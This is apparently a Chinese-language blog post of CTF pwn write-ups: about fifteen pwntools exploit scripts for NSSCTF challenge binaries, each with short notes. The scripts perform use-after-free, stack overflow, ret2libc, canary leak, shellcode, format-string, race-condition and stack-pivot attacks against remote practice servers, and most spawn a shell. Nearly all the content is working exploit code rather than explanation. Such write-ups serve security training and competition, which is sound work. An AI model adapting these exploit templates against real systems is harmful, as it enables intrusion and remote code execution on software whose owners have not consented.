赞
踩
- from pwn import *
- context.log_level='DEBUG'
- #io=process('./pwnuaf')
- io=remote('1.14.71.254',28905)
- elf=ELF('./pwnuaf')
- def _add_note():
- io.recvuntil(":")
- io.sendline("1")
- def _edit_note(id,content):
- io.recvuntil(":")
- io.sendline("2")
- io.recvuntil("Input page\n")
- io.sendline(str(id))
- io.recvuntil("Input your strings\n")
- io.sendline(content)
- def _delete_note(id):
- io.recvuntil(":")
- io.sendline("3")
- io.recvuntil("Input page\n")
- io.sendline(str(id))
- def _show_note(id):
- io.recvuntil(":")
- io.sendline("4")
- io.recvuntil("Input page\n")
- io.sendline(str(id))
- io.recvuntil("show\n")
- #gdb.attach(io,"^C")
- #pause()
- _add_note()
- _delete_note(0)
- _add_note()
- nico = 0x08048642
- payload = b"sh\x00\x00" + p32(nico)
- #payload = b"/bin/sh\x00" + p32(nico)
- _edit_note(1,payload)
- #gdb.attach(io,"^C")
-
- _show_note(0)
- io.interactive()
-
流程:先添加note 0 再删除note 0 再添加note 1 并修改note1 内容为payload note1所在地址空间实则为note 0 所在位置(free后指针没有置为null 存在UAF漏洞)
- from pwn import *
- context(os='linux', arch='i386', log_level='debug')
- elf = ELF('./ezr0p')
- p=remote('node1.anna.nssctf.cn',28351)
- #p = process('./ezr0p')
- sys_addr=elf.symbols['system']
- offset=0x1c+0x04
- addr_bss=0x0804A080
- p.recv()
- p.send('/bin/sh\x00')
- p.recvuntil('time~')
- payload=b'a'*offset+p32(sys_addr)+p32(0xdeedbeef)+p32(addr_bss)
- p.sendline(payload)
- p.interactive()
- from pwn import *
- context(os='linux', arch='amd64', log_level='debug')
- #sh=process('./pwn')
- sh=remote('node2.anna.nssctf.cn',28456)
- #gdb.attach(sh)
- #pause()
- payload=b'a'*(0x18+0x08)+b'/bin/sh\x00'
- sh.sendlineafter('Input:',payload)
- sh.interactive()
直接覆盖到下一个堆块
- from pwn import *
- context.log_level='debug'
- #sh=process('./service')
- sh=remote('node1.anna.nssctf.cn',28169)
- elf=ELF('./service')
- #gdb.attach(sh,'b *0x401378')
- #pause()
- cmptext=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
- sh.sendafter(b'word\n',cmptext)
- sh.recv(0x18)
- canary = u64(sh.recv(8))
- success(hex(canary))
- payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(elf.sym['b4ckd00r'])
- sh.sendline(payload)
- sh.interactive()
gdb直接断到0x401378
动调发现rbp-0x40位置两个数比较,直接把两个数调试出来,绕过decrypt的过程
泄露canary之后正常打栈溢出就行
- from pwn import *
- context(arch = 'amd64',os='linux')
- sh=remote('node2.anna.nssctf.cn',28709)
- #sh=process('./shellcode')
- buf_addr=0x00000000004040A0
- shellcode = asm(shellcraft.sh())
- #gdb.attach(sh)
- payload=(shellcode.ljust(0x108, b'A') + p64(buf_addr))
- #pause()
- sh.sendline(payload)
- sh.interactive()
正常的shellcode
- from pwn import *
- p=remote('node2.anna.nssctf.cn',28151)
- #p=process('./ezfmt')
- p.recv()
- payload = '%38$s'
- p.sendline(payload)
- flag = p.recvall()
- print(flag)
用格式化字符串$s泄露flag
- from pwn import *
- context.log_level='DEBUG'
- p=remote("node2.anna.nssctf.cn",28302)
- #p=process('./easy_overflow')
- payload=b'a'*(0x30+0x04)
- p.sendline(payload)
- p.recvall()
- p.interactive()
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- #p = process('./pwn')
- p = remote('1.14.71.254', 28832)
- elf = ELF('./pwn')
-
- payload = b'a'*0x1c + p32(0x08048529) + p32(next(elf.search(b'sh\x00')))
- s(payload)
- p.interactive()
tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh)
这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数
同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- #p = process('./pwn')
- p = remote('1.14.71.254', 28949)
- elf = ELF('./pwn')
- libc = ELF('buu/libc-2.23-x64.so')
-
- rdi = 0x400733
- sa(b'story', b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))
- libc_base = get_addr() - libc.sym['puts']
-
- system = libc_base + libc.sym['system']
- binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
- sa(b'story', b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system))
- p.interactive()
这道题的 libc 就是 buu 官方提供的 libc-2.27-x64.so
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- p = process('./pwn')
- #p = remote('1.14.71.254', 28913)
- elf = ELF('./pwn')
-
- payload = b'a'*0x28 + p64(elf.sym['LookAtMe'])
- sla(b'>', payload)
- p.interactive()
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- p.recv()
- def pr():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- #p = process('./pwn')
- p = remote('43.143.7.127', 28101)
- elf = ELF('./pwn')
- #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
- #libc = ELF('buu/libc-2.23-x64.so')
- def get_flag(k):
- sla(b'service', k)
- rl(b'0x')
- a = p.recvline()[:-1][::-1]
- f = ''
- for i in range(0, len(a), 2):
- f += chr(int(a[i:i+2][::-1], 16))
- return f
-
- #gdb.attach(p, 'b *$rebase(0x9B1)')
- flag = ''
- for i in range(12, 20):
- flag += get_flag(b'%' + str(i).encode() + b'$p')
- print(flag)
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- p.recv()
- def pr():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def inter():
- p.interactive()
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='i386', log_level='debug')
- #p = process('./pwn')
- p = remote('43.143.7.97', 28768)
- elf = ELF('./pwn')
- #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
- libc = ELF('libc.so.6')
-
- rl(b'0x')
- libc_base = int(p.recv(12), 16) - libc.sym['puts']
- system = libc_base + libc.sym['system']
- binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
- rdi = 0x4012a3
- ret = 0x40101a
-
- payload = b'a'*0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
- sa(b'rop.', payload)
- inter()
- from pwn import *
- from struct import pack
- from LibcSearcher import *
-
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- p.recv()
- def pr():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- #p = process('./dxc')
- p = remote('node1.anna.nssctf.cn',28494)
- elf = ELF('./dxc')
-
- sl(b'3')
- sl(b'0')
-
- sl(b'3')
- sl(b'0')
-
- sla(b'> ', b'2')
- sla(b'> ', b'1')
- r()
-
- sla(b'> ', b'1')
- r()
- r()
- pr()
一个新知识点:
pthread_create多线程竞争,简单来说就是这个函数创建线程,如果我们指令发送得快的话,那么就可以实现第一次售卖功能执行的时候正在 unsleep,接着执行第二次售卖功能,那么就能卖出两次得到可以购买 flag 的金钱了
- from pwn import *
- sh=remote('node2.anna.nssctf.cn',28627)
- #sh=process('./ezrop64')
- elf=ELF('./ezrop64')
- libc=ELF('./libc.so.6')
- #libc=elf.libc
- ret_addr = 0x0000000000401170
- pop_rdi = 0x00000000004012a3
- main_addr=elf.symbols['main']
- puts_plt=elf.plt['puts']
- puts_got=elf.got['puts']
- payload=b'a'*(0x108)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
- sh.recv()
- sh.sendline(payload)
- puts_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
- print(hex(puts_addr))
- base=puts_addr-libc.symbols['puts']
- bin_addr=base+libc.search(b'/bin/sh').__next__()
- system=base+libc.symbols['system']
- #gdb.attach(sh)
- #pause()
- payload2=b'a'*(0x108)+p64(ret_addr)+p64(pop_rdi)+p64(bin_addr)+p64(system)
- sh.recv()
- sh.sendline(payload2)
- sh.interactive()
-
-
没什么多说的 经典rop ret2libc
- from LibcSearcher import *
- from pwn import *
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sal(a, b):
- p.sendlineafter(a, b)
- def r():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def debug():
- gdb.attach(p)
- pause()
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
-
- context(os='linux', arch='amd64', log_level='debug')
- #p = process('./pwn')
- p = remote('node3.anna.nssctf.cn',28731)
- elf = ELF('./pwn')
-
- rdi = 0x400c83
- ret = 0x4006b9
-
- sal('choice', b'1')
- payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])
- sal('encrypted', payload)
-
- libc_base = get_addr() - 0x0809c0
- system = libc_base + 0x04f440
- binsh = libc_base + 0x1b3e9a
- sal('choice', b'1')
- payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
- sal('encrypted', payload)
- p.interactive()
主要就是\x00绕过检测,后面都是ret2libc
- from pwn import *
- context.log_level='debug'
- p=process('./pwn')
- p=remote('node4.anna.nssctf.cn',28935)
- shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
- payload1='opt:1\n'+'msg:ro0t\r\n'
- payload2='opt:2\n'+'msg:'+shellcode+'\r\n'
-
- p.sendlineafter('>>> ',payload1)
- p.sendlineafter('>>> ',payload2)
-
- p.interactive()
本题主要的难点我认为在于ida逆向的分析,需要发现出payload的格式:opt:v7\n+msg:dest\n
后面就是分析函数流,v7为1的时候,控制dest为“ro0t”,进行初始化
再当v7为2的时候,直接控制dest为可见字符shellcode,即可
\r是因为 在截断的时候会长度-1 需要多一位来用来被截断
- from struct import pack
- from LibcSearcher import *
- from pwn import *
- def s(a):
- p.send(a)
- def sa(a, b):
- p.sendafter(a, b)
- def sl(a):
- p.sendline(a)
- def sla(a, b):
- p.sendlineafter(a, b)
- def r():
- p.recv()
- def pr():
- print(p.recv())
- def rl(a):
- p.recvuntil(a)
- def inter():
- p.interactive()
- def debug():
- gdb.attach(p)
- pause()
- def get_addr64():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- def get_addr32():
- return u32(p.recvuntil(b'\xff')[-4:])
-
- context(log_level='debug')
- #p = process('./pwn')
- p = remote('node3.anna.nssctf.cn',28012)
- elf = ELF('./pwn')
- #libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
- libc = ELF('./libc-2.27.so')
-
- leave_ret = 0x080484b8
- sys_addr=0x08048400
- #gdb.attach(p)
- #pause()
- sa('name?',b'a'*0x26+b'BB')
- rl(b'aaBB')
- ebp_addr=u32(p.recv(4))
- success(hex(ebp_addr))
-
- payload = b'aaaa' + p32(elf.sym['system']) + p32(0) + p32(ebp_addr - 0x28) + b'/bin/sh\x00'
- payload = payload.ljust(0x28, b'\x00') + p32(ebp_addr - 0x38) + p32(leave_ret)
- sa(b'\n', payload)
- inter()
-
-
-
-
这里贴出另一段代码来解释栈迁移:
- from pwn import *
- io = process('./pwn')
- #io = remote('node4.buuoj.cn',27727)
- elf = ELF('./pwn')
- context.log_level='debug'
-
-
-
- leave_ret = 0x080484b8
- io.recvline()
- payload1 = 'a'*0x26+'b'*2
- io.send(payload1)
- io.recvuntil('aabb')
- ebp = u32(io.recv(4))
- print ("ebp----->" + hex(ebp))
- # padding # system #ret addr # binsh_addr # bin sh
- payload2 = b'a'*0x4 + p32(elf.plt['system']) + b'bbbb' + p32(ebp-0x28)+b'/bin'+b'/sh\x00'
- payload2=payload2.ljust(0x28,'\x00')
- # pivot addr # ret addr
- payload2+=p32(ebp-0x38)+p32(leave_ret)
- # gdb.attach(io,"b *0x080485FD")
- io.sendline(payload2)
-
- io.interactive()
其中第一段代码一直跑不通,原因最后找到在于ebp_addr的地址一直是错误的,因为前面使用了sendline而不是send,多输入了一个\n,覆盖到了后面需要泄露的ebp地址!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。